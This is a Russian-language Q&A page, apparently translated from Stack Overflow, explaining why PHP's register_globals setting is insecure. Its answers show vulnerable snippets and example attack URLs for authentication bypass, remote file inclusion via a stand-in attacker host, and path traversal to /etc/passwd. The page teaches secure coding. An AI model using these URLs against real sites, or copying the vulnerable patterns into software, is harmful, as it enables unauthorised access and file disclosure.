Почему REGISTER_GLOBALS так плох?
-
07-07-2019 - |
Вопрос
Я не разработчик PHP, но в нескольких местах я видел, что люди относятся к этому как к чуме или чему-то в этом роде.Почему?
Решение
REGISTER_GLOBALS
означает, что все переменные, прошедшие через GET или POST, доступны как глобальные переменные в вашем скрипте.Поскольку доступ к необъявленным переменным в PHP не является ошибкой (а предупреждением), это может привести к очень неприятным ситуациям.Рассмотрим это, например:
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
Само по себе это неплохо (хорошо спроектированный код не должен генерировать предупреждения, поэтому не должен обращаться к каким-либо переменным, которые могут быть необъявлены (и не должен нуждаться REGISTER_GLOBALS
по той же причине)), но код PHP обычно [очень] низкого качества, что приводит к такого рода дырам в безопасности.
Другие советы
Включение REGISTER_GLOBALS подвергает веб-страницы, обслуживаемые PHP, уязвимостям, которые некоторые злоумышленники будут стремиться использовать.
Если он включен, любая строка запроса в конце URL-адреса:
http://yourdomain/something.php?valid=true
повлияет на значение переменной $ valid (например) в нечто .php, , если она существует .
Если вы используете общедоступный код PHP (например, библиотеку), имена переменных хорошо известны, и хакеры могут контролировать свои значения, присваивая значения в строке запроса. Они могут обойти аутентификацию.
Даже если вы не используете открытый код, возможно, вы сможете угадать имена важных переменных и контролировать их значения. Р>
Раньше по умолчанию было включено REGISTER_GLOBALS в PHP.INI
В последнее время принято отключать его по умолчанию. Включите его на свой страх и риск!
Просто добавим, в некоторых ситуациях включение REGISTER_GLOBALS
может испортить ваш день:
Использование строки запроса для обхода контроля доступа (взломайте с помощью http://example.com/ ? авторизовались = 1 ):
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
Удаленное включение файлов (RFI):
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
Локальное включение файлов (LFI):
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
Потому что это позволяет пользователю вставлять любую глобальную переменную в ваш код без какого-либо контроля.
Исходя из качества кода, он может привести к серьезным ошибкам в безопасности.